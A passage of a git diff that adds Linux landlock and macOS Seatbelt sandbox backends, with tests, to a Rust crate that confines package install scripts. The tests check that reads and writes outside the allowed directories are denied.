SandboxError::ModeNotSupportedOnPlatform { + platform: "linux".into(), + mode: SandboxMode::LogOnly, + remediation: "landlock has no observe-only primitive. Use \ + --unsafe-full-env --no-sandbox to debug a sandbox false-positive." + .into(), + }; + let msg = format!("{e}"); + assert!(msg.contains("linux"), "got: {msg}"); + assert!(msg.contains("LogOnly"), "got: {msg}"); + assert!( + msg.contains("--unsafe-full-env --no-sandbox"), + "must point at the workaround: {msg}" + ); + } + + #[test] + fn unsupported_remediation_windows_points_to_46_1_and_escape_hatch() { + let s = unsupported_remediation("windows"); + assert!(s.contains("Phase 46.1")); + assert!(s.contains("--unsafe-full-env --no-sandbox")); + assert!(s.contains("script-policy = deny")); + } + + #[test] + fn unsupported_remediation_generic_unix_names_platform() { + let s = unsupported_remediation("freebsd"); + assert!(s.contains("freebsd")); + assert!(s.contains("--unsafe-full-env --no-sandbox")); + } + + #[test] + fn validate_spec_rejects_empty_package_name() { + let mut s = sample_spec(); + s.package_name.clear(); + match validate_spec(&s) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("package_name")); + } + other => panic!("expected InvalidSpec, got {other:?}"), + } + } + + #[test] + fn validate_spec_rejects_empty_package_version() { + let mut s = sample_spec(); + s.package_version.clear(); + assert!(matches!( + validate_spec(&s), + Err(SandboxError::InvalidSpec { reason }) if reason.contains("package_version") + )); + } + + #[test] + fn validate_spec_rejects_relative_package_dir() { + let mut s = sample_spec(); + s.package_dir = PathBuf::from("relative/path"); + assert!(matches!( + validate_spec(&s), + Err(SandboxError::InvalidSpec { reason }) if reason.contains("package_dir") && reason.contains("absolute") + )); + } + + #[test] + fn validate_spec_rejects_relative_project_dir() { + let mut s = sample_spec(); + s.project_dir = PathBuf::from("./proj"); + assert!(matches!( + validate_spec(&s), + Err(SandboxError::InvalidSpec { reason }) if reason.contains("project_dir") + )); + } + + #[test] + fn validate_spec_rejects_relative_extra_write_dir() { + let mut s = sample_spec(); + s.extra_write_dirs.push(PathBuf::from("relative/writable")); + assert!(matches!( + validate_spec(&s), + Err(SandboxError::InvalidSpec { reason }) if reason.contains("extra_write_dirs[0]") + )); + } + + #[test] + fn validate_spec_accepts_wellformed_input() { + assert!(validate_spec(&sample_spec()).is_ok()); + } + + #[test] + fn disabled_mode_returns_noop_sandbox_on_any_platform() { + let sb = new_for_platform(sample_spec(), SandboxMode::Disabled) + .expect("disabled mode must succeed"); + assert_eq!(sb.backend_name(), "noop"); + assert_eq!(sb.mode(), SandboxMode::Disabled); + } + + #[test] + fn noop_sandbox_runs_a_trivial_command() { + let sb = new_for_platform(sample_spec(), SandboxMode::Disabled).unwrap(); + let cmd = SandboxedCommand::new("true") + .envs_cleared([("PATH", std::env::var_os("PATH").unwrap_or_default())]); + let mut child = sb.spawn(cmd).expect("noop spawn must succeed"); + let status = child.wait().expect("wait"); + assert!(status.success(), "true must exit 0, got {status:?}"); + } + + #[test] + fn noop_sandbox_reports_spawn_failure_structurally() { + let sb = new_for_platform(sample_spec(), SandboxMode::Disabled).unwrap(); + let cmd = SandboxedCommand::new("/does/not/exist/lpm-sandbox-test-probe"); + match sb.spawn(cmd) { + Err(SandboxError::SpawnFailed { reason }) => { + assert!(!reason.is_empty(), "reason must be populated"); + } + other => panic!("expected SpawnFailed, got {other:?}"), + } + } + + #[test] + fn factory_rejects_invalid_spec_for_enforcing_modes() { + let mut s = sample_spec(); + s.package_name.clear(); + let r = new_for_platform(s, SandboxMode::Enforce); + assert!(matches!(r, Err(SandboxError::InvalidSpec { .. }))); + } + + #[test] + fn factory_does_not_validate_spec_for_disabled_mode() { + // Disabled should be the one mode that always works, because + // the escape hatch must be reachable even with a mis-built + // spec. Validation is backend-side only. + let mut s = sample_spec(); + s.package_name.clear(); + assert!(new_for_platform(s, SandboxMode::Disabled).is_ok()); + } + + #[cfg(not(any(target_os = "macos", target_os = "linux")))] + #[test] + fn factory_returns_unsupported_platform_on_unsupported_os() { + let r = new_for_platform(sample_spec(), SandboxMode::Enforce); + match r { + Err(SandboxError::UnsupportedPlatform { + platform, + remediation, + }) => { + assert_eq!(platform, std::env::consts::OS); + assert!(remediation.contains("--unsafe-full-env --no-sandbox")); + } + other => panic!("expected UnsupportedPlatform, got {other:?}"), + } + } + + #[cfg(target_os = "macos")] + #[test] + fn factory_returns_seatbelt_backend_on_macos() { + // Chunk 2 landed the real Seatbelt impl. Behavior-level tests + // for spawn + containment live in the `macos` module's own + // tests; this one asserts the factory wiring only. + let sb = new_for_platform(sample_spec(), SandboxMode::Enforce) + .expect("macOS factory must succeed"); + assert_eq!(sb.backend_name(), "seatbelt"); + assert_eq!(sb.mode(), SandboxMode::Enforce); + } + + #[cfg(target_os = "linux")] + #[test] + fn factory_returns_landlock_backend_on_linux() { + // Chunk 3: real landlock impl replaces the Chunk 1 stub. + // Construction either succeeds (kernel supports landlock) + // or fails cleanly with KernelTooOld. Behavior-level tests + // (real `restrict_self` + containment probes) live in the + // `linux` module's own tests. + match new_for_platform(sample_spec(), SandboxMode::Enforce) { + Ok(sb) => { + assert_eq!(sb.backend_name(), "landlock"); + assert_eq!(sb.mode(), SandboxMode::Enforce); + } + Err(SandboxError::KernelTooOld { required, .. }) => { + assert_eq!(required, "5.13"); + } + Err(other) => panic!("unexpected factory error: {other:?}"), + } + } +} diff --git a/crates/lpm-sandbox/src/linux.rs b/crates/lpm-sandbox/src/linux.rs new file mode 100644 index 00000000..695415f8 --- /dev/null +++ b/crates/lpm-sandbox/src/linux.rs @@ -0,0 +1,595 @@ +//! Linux landlock backend: restricts the child process's filesystem +//! access via a ruleset installed through the landlock LSM. Phase 46 +//! P5 Chunk 3. +//! +//! # Async-signal safety +//! +//! The closure passed to [`std::os::unix::process::CommandExt::pre_exec`] +//! runs in the forked child between `fork` and `execve`. In a +//! multi-threaded parent, only the calling thread survives in the +//! child; other threads may have been holding the allocator mutex, +//! the stdio mutex, or any other userspace lock when `fork` fired. +//! Taking those locks in the child deadlocks immediately. Only +//! async-signal-safe (AS-safe) operations are legal — direct +//! syscalls, raw errno writes, integer/enum manipulation, etc. +//! +//! This backend therefore splits work across the fork boundary: +//! +//! **Parent side** (normal multi-threaded context): +//! - [`Ruleset::default`] / [`handle_access`] / [`RulesetAttr::create`] — +//! allocates Rust-side state, makes the `landlock_create_ruleset` +//! syscall to get the ruleset FD. +//! - Per-path [`PathFd::new`] (opens `open(2)` for each allow-path) +//! and [`Ruleset::add_rule`] (feeds each `PathBeneath` through +//! `landlock_add_rule`). Paths that don't exist are skipped with +//! a `tracing::debug!` advisory — parent logging is safe. +//! - The assembled [`RulesetCreated`] (which owns the ruleset FD + +//! in-memory state) is moved into the pre_exec closure. +//! +//! **Child side** (post-fork, pre-exec, AS-safe only): +//! - [`Option::take`] to extract the `RulesetCreated` captured by +//! move. +//! - [`RulesetCreated::restrict_self`] — audited call path: two +//! direct syscalls (`prctl(PR_SET_NO_NEW_PRIVS)` and +//! `landlock_restrict_self`) plus enum/integer field shuffles. +//! No heap allocation, no lock acquisition. +//! - On failure, [`write_stderr_as_safe`] — raw `write(2)` to fd 2, +//! bypassing `std::io::Stderr::lock()` which is NOT safe here. +//! - [`std::io::Error::from_raw_os_error`] to propagate errno — +//! wraps an integer, does not allocate (contrast with +//! `io::Error::new(kind, &str)` which goes through `Box` +//! and IS allocating). +//! +//! Crucially we do NOT `eprintln!`, `format!`, `Box::new`, or call +//! any trait method whose implementation is opaque from the +//! child's perspective. The landlock library's `restrict_self` is +//! the only exception, and we've audited its source. +//! +//! # Kernel probe +//! +//! [`LandlockSandbox::new`] runs in the PARENT and tests whether the +//! kernel supports landlock by building a +//! [`landlock::CompatLevel::HardRequirement`] ruleset at ABI V1 +//! (kernel 5.13+). On success the probe is dropped (FD closes); on +//! failure we surface [`SandboxError::KernelTooOld`] — +//! refuse-to-run, symmetric with the Windows path per the Chunk 1 +//! signoff. The user's interim option is +//! `--unsafe-full-env --no-sandbox`. +//! +//! # Enforcement guard +//! +//! If the child's `restrict_self` returns +//! [`RulesetStatus::NotEnforced`] (the landlock LSM disappeared +//! between parent probe and child fork — effectively never in +//! practice), we bail rather than run the script unsandboxed. The +//! guard keeps the security floor consistent even under the +//! hypothetical race. + +#![cfg(target_os = "linux")] + +use crate::landlock_rules::{RuleAccess, describe_rules}; +use crate::{Sandbox, SandboxError, SandboxMode, SandboxSpec, SandboxedCommand}; +use landlock::{ + ABI, Access, AccessFs, CompatLevel, Compatible, PathBeneath, PathFd, Ruleset, RulesetAttr, + RulesetCreated, RulesetCreatedAttr, RulesetError, RulesetStatus, +}; +use std::os::unix::process::CommandExt; +use std::process::{Child, Command, Stdio}; + +/// Minimum kernel version this backend targets. The crate's +/// [`ABI::V1`] maps to this release; lower kernels cause the +/// hard-requirement probe in [`LandlockSandbox::new`] to error, +/// which we surface as [`SandboxError::KernelTooOld`]. +const MIN_KERNEL_VERSION: &str = "5.13"; + +/// Landlock ABI version we program against. Pinned to V1 so the +/// rule description + enforcement behavior is stable across distros +/// — newer ABIs add capabilities (TruncateAllowed in V2, Refer in +/// V3, network in V4+) that Phase 46 P5 doesn't use. Future work can +/// bump this in the same module without changing the call site. +const TARGET_ABI: ABI = ABI::V1; + +pub(crate) struct LandlockSandbox { + spec: SandboxSpec, + mode: SandboxMode, +} + +impl LandlockSandbox { + pub(crate) fn new(spec: SandboxSpec, mode: SandboxMode) -> Result { + match mode { + SandboxMode::Enforce => { + probe_kernel_support()?; + } + // Chunk 4: landlock has no native observe-only primitive + // (RulesetStatus::NotEnforced / PartiallyEnforced / + // FullyEnforced + CompatLevel::BestEffort don't model + // "allow but log"). Per the Chunk 4 plan signoff, we + // reject LogOnly honestly rather than invent a pseudo- + // mode that would pretend to observe while silently + // doing nothing. + SandboxMode::LogOnly => { + return Err(SandboxError::ModeNotSupportedOnPlatform { + platform: "linux".to_string(), + mode: SandboxMode::LogOnly, + remediation: "landlock has no native observe-only primitive in \ + Phase 46 P5. To debug a sandbox false-positive, re-run \ + with --unsafe-full-env --no-sandbox. `--sandbox-log` \ + remains available on macOS." + .to_string(), + }); + } + // Disabled never reaches this backend — factory routes + // it to NoopSandbox. Defensive error symmetric with + // the macOS backend's guard. + SandboxMode::Disabled => { + return Err(SandboxError::InvalidSpec { + reason: "SandboxMode::Disabled reached LandlockSandbox — should \ + have been routed to NoopSandbox by the factory" + .to_string(), + }); + } + } + Ok(Self { spec, mode }) + } +} + +impl Sandbox for LandlockSandbox { + fn spawn(&self, cmd: SandboxedCommand) -> Result { + let mut command = Command::new(&cmd.program); + command.args(&cmd.args); + if cmd.env_clear { + command.env_clear(); + } + for (k, v) in &cmd.envs { + command.env(k, v); + } + if let Some(dir) = &cmd.current_dir { + command.current_dir(dir); + } + command.stdout(Stdio::from(cmd.stdout)); + command.stderr(Stdio::from(cmd.stderr)); + command.stdin(Stdio::from(cmd.stdin)); + // Matches the macOS and Noop backends — kill-tree-on-timeout + // parity. `process_group(0)` is wired by the stdlib in its + // own post-fork / pre-exec step and does not conflict with + // our own `pre_exec` closure below. + command.process_group(0); + + // Build the landlock ruleset entirely in the PARENT — see + // the module doc for the async-signal-safety rationale. All + // the allocating / lock-acquiring work (ruleset struct + // construction, per-path `open(2)` via PathFd::new, per-rule + // `landlock_add_rule` via Ruleset::add_rule) happens here in + // normal multi-threaded context. The child's pre_exec body + // only touches direct syscalls. + let ruleset = build_parent_side_ruleset(&self.spec).map_err(|e| { + SandboxError::ProfileRenderFailed { + reason: format!("landlock ruleset build failed: {e}"), + } + })?; + + // Option wrapper lets a FnMut closure consume the ruleset + // once (via `take`) while satisfying the FnMut bound + // `Command::pre_exec` requires. In practice the kernel only + // invokes pre_exec once per spawn; the `take().ok_or(...)` + // path below catches the hypothetical double-invocation. + let mut ruleset_opt = Some(ruleset); + + // SAFETY: This closure runs post-fork, pre-exec in the + // child. The body is AS-safe: no heap allocation, no lock + // acquisition, no `format!` / `eprintln!`. All possible + // operations inside are either (a) direct syscalls via + // `libc` or `landlock` crate, (b) integer / enum + // manipulation, or (c) `io::Error::from_raw_os_error` which + // wraps an integer without allocating. The captured + // `ruleset_opt` holds a `RulesetCreated` whose `Drop` + // closes the inherited FD via `close(2)` — also AS-safe. + // See the module doc for the full audit. + unsafe { + command.pre_exec(move || { + let rs = match ruleset_opt.take() { + Some(r) => r, + None => { + write_stderr_as_safe(b"landlock: pre_exec invoked without ruleset\n"); + return Err(std::io::Error::from_raw_os_error(libc::EINVAL)); + } + }; + match rs.restrict_self() { + Ok(status) if matches!(status.ruleset, RulesetStatus::NotEnforced) => { + write_stderr_as_safe( + b"landlock: ruleset NotEnforced; refusing to run unsandboxed\n", + ); + Err(std::io::Error::from_raw_os_error(libc::EPERM)) + } + Ok(_) => Ok(()), + Err(_) => { + // Discard the RulesetError's Display body + // — formatting it would allocate. The + // `landlock:` prefix on stderr tells users + // to look at parent-side tracing for + // details. + write_stderr_as_safe(b"landlock: restrict_self failed\n"); + Err(std::io::Error::from_raw_os_error(libc::EPERM)) + } + } + }); + } + + command.spawn().map_err(|e| SandboxError::SpawnFailed { + reason: format!("landlock spawn failed: {e}"), + }) + } + + fn backend_name(&self) -> &'static str { + "landlock" + } + + fn mode(&self) -> SandboxMode { + self.mode + } +} + +/// Parent-side kernel probe. Builds a HardRequirement ruleset at +/// [`TARGET_ABI`]; any failure is treated as "this kernel doesn't +/// support landlock" regardless of the specific error variant. +/// Treating all probe errors as KernelTooOld keeps the denial +/// message pointed at the same remediation — upgrade the kernel or +/// use `--unsafe-full-env --no-sandbox`. +fn probe_kernel_support() -> Result<(), SandboxError> { + let build = Ruleset::default() + .set_compatibility(CompatLevel::HardRequirement) + .handle_access(AccessFs::from_all(TARGET_ABI)) + .and_then(|r| r.create()); + match build { + Ok(_ruleset_created) => Ok(()), + Err(_) => Err(SandboxError::KernelTooOld { + detected: detect_kernel_version(), + required: MIN_KERNEL_VERSION.to_string(), + remediation: "upgrade to Linux 5.13+ with landlock enabled, or re-run with \ + --unsafe-full-env --no-sandbox to execute scripts without \ + containment. `script-policy = deny` is the always-safe default." + .to_string(), + }), + } +} + +/// Build the full landlock ruleset on the PARENT process, before +/// fork. All heap allocation, PathFd opening, and add_rule calls +/// happen here so the child's pre_exec body stays async-signal-safe. +/// +/// Missing paths are skipped with a parent-side `tracing::debug!` +/// advisory rather than failing the whole spawn — a partial rule +/// set is a tighter security posture than no sandbox at all, and +/// the escape hatch remains `--unsafe-full-env --no-sandbox` if the +/// user needs the missing rule's access. +fn build_parent_side_ruleset(spec: &SandboxSpec) -> Result { + let rw = AccessFs::from_all(TARGET_ABI); + let read = AccessFs::from_read(TARGET_ABI); + let mut ruleset = Ruleset::default().handle_access(rw)?.create()?; + for (path, access) in describe_rules(spec) { + let fd = match PathFd::new(&path) { + Ok(fd) => fd, + Err(e) => { + tracing::debug!("landlock: skip {} ({e})", path.display()); + continue; + } + }; + let access_bits = match access { + RuleAccess::Read => read, + RuleAccess::ReadWrite => rw, + }; + ruleset = ruleset.add_rule(PathBeneath::new(fd, access_bits))?; + } + Ok(ruleset) +} + +/// Async-signal-safe stderr write. Bypasses [`std::io::Stderr::lock`] +/// (which holds a userspace mutex and deadlocks post-fork in +/// multi-threaded processes) by issuing a direct `write(2)` to fd 2. +/// +/// Return value is intentionally ignored — there's no meaningful +/// recovery at the pre_exec-failure call site, and `write` itself +/// is AS-safe regardless of outcome. +#[inline] +fn write_stderr_as_safe(msg: &[u8]) { + // SAFETY: fd 2 is guaranteed open by the stdlib at process + // start and our Command configuration doesn't close it. `msg` + // is a static byte slice, so the pointer and length are valid + // for the duration of the call. `libc::write` is AS-safe. + unsafe { + let _ = libc::write(2, msg.as_ptr() as *const libc::c_void, msg.len()); + } +} + +/// Best-effort kernel version probe for the [`SandboxError::KernelTooOld`] +/// denial message. Reads `/proc/sys/kernel/osrelease` and trims +/// whitespace. Falls back to `"unknown"` — the `required` field +/// already names what's needed; `detected` is display-only. +fn detect_kernel_version() -> String { + std::fs::read_to_string("/proc/sys/kernel/osrelease") + .map(|s| s.trim().to_string()) + .unwrap_or_else(|_| "unknown".to_string()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{SandboxMode, SandboxStdio, SandboxedCommand, new_for_platform}; + use std::path::PathBuf; + + fn realistic_spec() -> SandboxSpec { + let home = dirs::home_dir().expect("home dir for test"); + let tmp = std::env::var_os("TMPDIR") + .map(PathBuf::from) + .unwrap_or_else(|| PathBuf::from("/tmp")); + SandboxSpec { + package_dir: home.join(".lpm/store/testpkg@0.1.0"), + project_dir: home.join("lpm-sandbox-test-project"), + package_name: "testpkg".into(), + package_version: "0.1.0".into(), + store_root: home.join(".lpm/store"), + home_dir: home, + tmpdir: tmp, + extra_write_dirs: Vec::new(), + } + } + + #[test] + fn new_rejects_logonly_with_mode_specific_error() { + // Chunk 4 contract: Linux refuses LogOnly with a + // ModeNotSupportedOnPlatform error whose remediation names + // `--unsafe-full-env --no-sandbox` as the workaround. This + // test runs regardless of kernel support — the mode check + // happens BEFORE probe_kernel_support so users on old + // kernels get the same clear message. + match LandlockSandbox::new(realistic_spec(), SandboxMode::LogOnly) { + Err(SandboxError::ModeNotSupportedOnPlatform { + platform, + mode, + remediation, + }) => { + assert_eq!(platform, "linux"); + assert_eq!(mode, SandboxMode::LogOnly); + assert!( + remediation.contains("--unsafe-full-env --no-sandbox"), + "remediation must name the interim workaround: {remediation}" + ); + assert!( + remediation.contains("macOS"), + "remediation should mention --sandbox-log is available on macOS" + ); + } + Ok(_) => panic!("LogOnly on Linux must be rejected by LandlockSandbox::new"), + Err(other) => panic!("expected ModeNotSupportedOnPlatform, got {other:?}"), + } + } + + #[test] + fn new_rejects_disabled_mode_defensively() { + // Symmetric with the macOS backend guard. Factory should + // never route Disabled here; if it does, bail with a clear + // error instead of silently installing an unnecessary + // landlock ruleset. + match LandlockSandbox::new(realistic_spec(), SandboxMode::Disabled) { + Err(SandboxError::InvalidSpec { reason }) => { + assert!(reason.contains("Disabled")); + assert!(reason.contains("NoopSandbox")); + } + Ok(_) => panic!("Disabled mode must be rejected by LandlockSandbox::new"), + Err(other) => panic!("expected InvalidSpec, got {other:?}"), + } + } + + #[test] + fn new_either_succeeds_or_surfaces_kernel_too_old() { + match LandlockSandbox::new(realistic_spec(), SandboxMode::Enforce) { + Ok(sb) => { + assert_eq!(sb.backend_name(), "landlock"); + } + Err(SandboxError::KernelTooOld { + detected, + required, + remediation, + }) => { + assert_eq!(required, MIN_KERNEL_VERSION); + assert!(!detected.is_empty()); + assert!( + remediation.contains("--unsafe-full-env --no-sandbox"), + "remediation must name the escape hatch: {remediation}" + ); + } + Err(other) => panic!("unexpected error variant: {other:?}"), + } + } + + #[test] + fn detect_kernel_version_returns_nonempty_on_linux() { + let v = detect_kernel_version(); + assert!(!v.is_empty()); + } + + #[test] + fn build_parent_side_ruleset_tolerates_missing_optional_paths() { + // The rules include `/tmp/nonexistent-blahblahblah-extras` + // (via extra_write_dirs) which must be SKIPPED rather than + // causing the whole ruleset build to fail. Regression guard + // for the AS-safety rewrite: the skip logic lives parent-side + // and must stay there. + let mut spec = realistic_spec(); + spec.extra_write_dirs + .push(PathBuf::from("/tmp/lpm-sandbox-chunk3-nonexistent-path")); + // If the kernel doesn't have landlock, probe_kernel_support + // handles that — but build_parent_side_ruleset is independent + // of that probe and can still be exercised. + match build_parent_side_ruleset(&spec) { + Ok(_) => {} // ruleset built, missing extra was skipped + Err(e) => { + // Only acceptable error: the kernel doesn't support + // landlock at all, which presents as a create() + // failure. Any other error is a regression. + let msg = format!("{e}"); + assert!( + msg.contains("create") + || msg.contains("handle_access") + || msg.contains("HandleAccesses"), + "unexpected build_parent_side_ruleset error: {msg}" + ); + } + } + } + + #[test] + fn spawns_a_trivial_benign_command_under_enforce() { + let sb = match new_for_platform(realistic_spec(), SandboxMode::Enforce) { + Ok(sb) => sb, + Err(SandboxError::KernelTooOld { .. }) => return, + Err(e) => panic!("factory failed: {e:?}"), + }; + let cmd = SandboxedCommand::new("/usr/bin/true").envs_cleared([("PATH", "/usr/bin:/bin")]); + let mut child = sb.spawn(cmd).expect("spawn under enforce"); + let status = child.wait().expect("wait"); + assert!(status.success(), "/usr/bin/true under landlock must exit 0"); + } + + #[test] + fn enforces_deny_on_read_outside_allow_list() { + // Forbidden target MUST live at a path no sandbox rule + // covers. `tempfile::tempdir()` on Linux defaults under + // `/tmp/.tmpXXX/`, which IS in the allow list (the sandbox + // deliberately permits `/tmp` by design, see compat_greens' + // `tmp_scratch_write_shape_succeeds`). Using `/tmp`-rooted + // probes here would test the sandbox's CORRECT /tmp + // permission rather than its deny-default — the + // 2026-04-23 Linux CI surfaced exactly this false-failure. + // Use `/var/tmp/lpm-probe-/` instead: `/var/tmp` is a + // real POSIX scratch directory (persistent across reboots, + // always writable by the test user) that is NOT in any + // sandbox rule, and is guaranteed disjoint from the + // tempfile default root. + let probe_dir = PathBuf::from("/var/tmp") + .join(format!("lpm-sandbox-read-probe-{}", std::process::id())); + std::fs::create_dir_all(&probe_dir).unwrap(); + let secret = probe_dir.join("secret.txt"); + std::fs::write(&secret, b"TOP SECRET").unwrap(); + let sb = match new_for_platform(realistic_spec(), SandboxMode::Enforce) { + Ok(sb) => sb, + Err(SandboxError::KernelTooOld { .. }) => { + let _ = std::fs::remove_dir_all(&probe_dir); + return; + } + Err(e) => { + let _ = std::fs::remove_dir_all(&probe_dir); + panic!("factory failed: {e:?}"); + } + }; + + let mut cmd = SandboxedCommand::new("/bin/cat") + .arg(&secret) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + let _ = std::fs::remove_dir_all(&probe_dir); + assert!( + !status.success(), + "landlock must deny reading an out-of-list path — status {status:?}" + ); + } + + #[test] + fn allows_write_into_package_dir_under_enforce() { + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let home = dirs::home_dir().expect("home"); + + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = match new_for_platform(spec, SandboxMode::Enforce) { + Ok(sb) => sb, + Err(SandboxError::KernelTooOld { .. }) => return, + Err(e) => panic!("factory failed: {e:?}"), + }; + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg("echo hi > marker") + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + status.success(), + "write into package_dir under landlock must succeed, got {status:?}" + ); + assert!(pkg_dir.join("marker").exists()); + } + + #[test] + fn denies_write_outside_allow_list_under_enforce() { + let td = tempfile::tempdir().unwrap(); + let pkg_dir = td.path().join("store").join("pkg@1.0.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = td.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + // `forbidden` MUST live at a path no sandbox rule covers. + // `td` is under `/tmp/.tmpXXX/` on Linux; `/tmp` is in the + // RW allow list by design, so a `td`-rooted target would + // be correctly PERMITTED and this test would false-fail. + // Use `/var/tmp/...` — a real POSIX scratch dir not under + // any rule — to exercise actual deny-default enforcement. + let forbidden = PathBuf::from("/var/tmp").join(format!( + "lpm-sandbox-write-probe-{}.txt", + std::process::id() + )); + let _ = std::fs::remove_file(&forbidden); // ensure pristine + let home = dirs::home_dir().expect("home"); + + let spec = SandboxSpec { + package_dir: pkg_dir.clone(), + project_dir, + package_name: "pkg".into(), + package_version: "1.0.0".into(), + store_root: td.path().join("store"), + home_dir: home, + tmpdir: PathBuf::from("/tmp"), + extra_write_dirs: Vec::new(), + }; + let sb = match new_for_platform(spec, SandboxMode::Enforce) { + Ok(sb) => sb, + Err(SandboxError::KernelTooOld { .. }) => return, + Err(e) => panic!("factory failed: {e:?}"), + }; + + let mut cmd = SandboxedCommand::new("/bin/sh") + .arg("-c") + .arg(format!("echo leak > {}", forbidden.display())) + .current_dir(&pkg_dir) + .envs_cleared([("PATH", "/usr/bin:/bin")]); + cmd.stdout = SandboxStdio::Null; + cmd.stderr = SandboxStdio::Null; + let mut child = sb.spawn(cmd).expect("spawn"); + let status = child.wait().expect("wait"); + assert!( + !status.success(), + "landlock must deny writes outside the allow list — status {status:?}" + ); + assert!( + !forbidden.exists(), + "sandbox escape: forbidden file was created" + ); + } +} diff --git a/crates/lpm-sandbox/src/macos.rs b/crates/lpm-sandbox/src/macos.rs new file mode 100644 index 00000000..ad5c0e34 --- /dev/null +++ b/crates/lpm-sandbox/src/macos.rs @@ -0,0 +1,433 @@ +//! macOS Seatbelt backend: routes `Sandbox::spawn` through +//! `sandbox-exec -p `. Phase 46 P5 +//! Chunk 2. +//! +//! One `sandbox-exec` invocation per script. The profile is +//! synthesized at [`SeatbeltSandbox::new`] so profile-render errors +//! surface before the spawn attempt, and so the per-spawn cost is +//! just process startup (not string building). +//! +//! **Mode coverage:** +//! - [`SandboxMode::Enforce`] (Chunk 2): standard sandbox-exec +//! deny-default profile from [`seatbelt::render_profile`]. +//! - [`SandboxMode::LogOnly`] (Chunk 4): permissive profile from +//! [`seatbelt::render_logonly_profile`]. Opens with +//! `(allow (with report) default)`, then layers the Enforce allow +//! list after it — under SBPL last-match-wins, Enforce-covered +//! operations are silent allows and everything else falls through +//! to the permissive+report fallback. Reports flow through +//! `sandboxd` and are viewable via `log show --predicate +//! 'senderImagePath CONTAINS "Sandbox"'`. This is Apple's own +//! internal observe-only idiom; the `(deny default)` + `(with +//! report)` combination was empirically unavailable (`sandbox-exec: +//! report modifier does not apply to deny action`). +//! - [`SandboxMode::Disabled`]: never reaches this module — routed +//! to [`crate::NoopSandbox`] by the factory. Defensive error in +//! [`SeatbeltSandbox::new`] catches factory regressions rather +//! than silently picking a profile variant. + +#![cfg(target_os = "macos")] + +use crate::seatbelt; +use crate::{Sandbox, SandboxError, SandboxMode, SandboxSpec, SandboxedCommand}; + +pub(crate) struct SeatbeltSandbox { + profile: String, + mode: SandboxMode, + #[allow(dead_code)] // Kept for structured diagnostics in Chunk 4 + spec: SandboxSpec, +} + +impl SeatbeltSandbox { + pub(crate) fn new(spec: SandboxSpec, mode: SandboxMode) -> Result { + let profile = match mode { + SandboxMode::Enforce => seatbelt::render_profile(&spec)?, + SandboxMode::LogOnly => seatbelt::render_logonly_profile(&spec)?, + // Disabled never reaches this backend — the factory in + // [`crate::new_for_platform`] short-circuits to + // [`crate::NoopSandbox`] before dispatching. Defend with + // an explicit error rather than rendering an undefined + // profile variant. + SandboxMode::Disabled => { + return Err(SandboxError::InvalidSpec { + reason: "SandboxMode::Disabled reached SeatbeltSandbox — should \ + have been routed to NoopSandbox by the factory" + .to_string(), + }); + } + }; + Ok(Self { + profile, + mode, + spec, + }) + } +} + +impl Sandbox for SeatbeltSandbox { + fn spawn(&self, cmd: SandboxedCommand) -> Result { + // `sandbox-exec -p ` runs the + // child under the named profile. `-p` takes the profile body + // inline, so no temp-file handoff is needed. Env, cwd, and + // stdio apply to the sandbox-exec process — it inherits them + // to the ultimate child. + let mut command = std::process::Command::new("sandbox-exec"); + command.arg("-p").arg(&self.profile); + command.arg(&cmd.program); + for a in &cmd.args { + command.arg(a); + } + + if cmd.env_clear { + command.env_clear(); + } + for (k, v) in &cmd.envs { + command.env(k, v); + } + if let Some(dir) = &cmd.current_dir { + command.current_dir(dir); + } + command.stdout(std::process::Stdio::from(cmd.stdout)); + command.stderr(std::process::Stdio::from(cmd.stderr)); + command.stdin(std::process::Stdio::from(cmd.stdin)); + + // Put the sandbox-exec process (and its descendants) in their + // own process group so the caller's timeout path can kill + // the whole tree with `kill(-pid, SIGKILL)`. Matches the + // pre-Phase-46 build.rs behavior. + { + use std::os::unix::process::CommandExt; + command.process_group(0); + } + + command.spawn().map_err(|e| SandboxError::SpawnFailed { + reason: format!("sandbox-exec spawn failed: {e}"), + }) + } + + fn backend_name(&self) -> &'static str { + "seatbelt" + } + + fn mode(&self) -> SandboxMode { + self.mode + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{SandboxMode, SandboxStdio, new_for_platform}; + use std::path::PathBuf; + + // Per-test tempdir holder. Fields are never read directly; the + // struct exists so `Drop` cleans up after each test. + struct RealisticSpec { + spec: SandboxSpec, + _tmp: tempfile::TempDir, + } + + /// Build a realistic spec backed by live tempdirs. Chunk 5 + /// changed [`seatbelt::render_profile`] to canonicalize base + /// paths, so every path referenced by the profile must exist + /// on the host. Earlier inline specs used + /// `home.join(".lpm/store/testpkg@0.1.0")` which failed + /// canonicalize after the Chunk 5 change. + fn realistic_spec() -> RealisticSpec { + let tmp = tempfile::tempdir().expect("tempdir"); + let pkg_dir = tmp.path().join("store").join("testpkg@0.1.0"); + std::fs::create_dir_all(&pkg_dir).unwrap(); + let project_dir = tmp.path().join("proj"); + std::fs::create_dir_all(&project_dir).unwrap(); + let home = dirs::home_dir().expect("home dir for test"); + let tmpdir = std::env::var_os("TMPDIR") + .map(PathBuf::from) + .unwrap_or_else(|| PathBuf::from("/tmp")); + let spec = SandboxSpec { + package_dir: pkg_dir, + project_dir, + package_name: "testpkg".into(), + package_version: "0.1.0".into(), + store_root: tmp.path().join("store"), + home_dir: home, + tmpdir, + 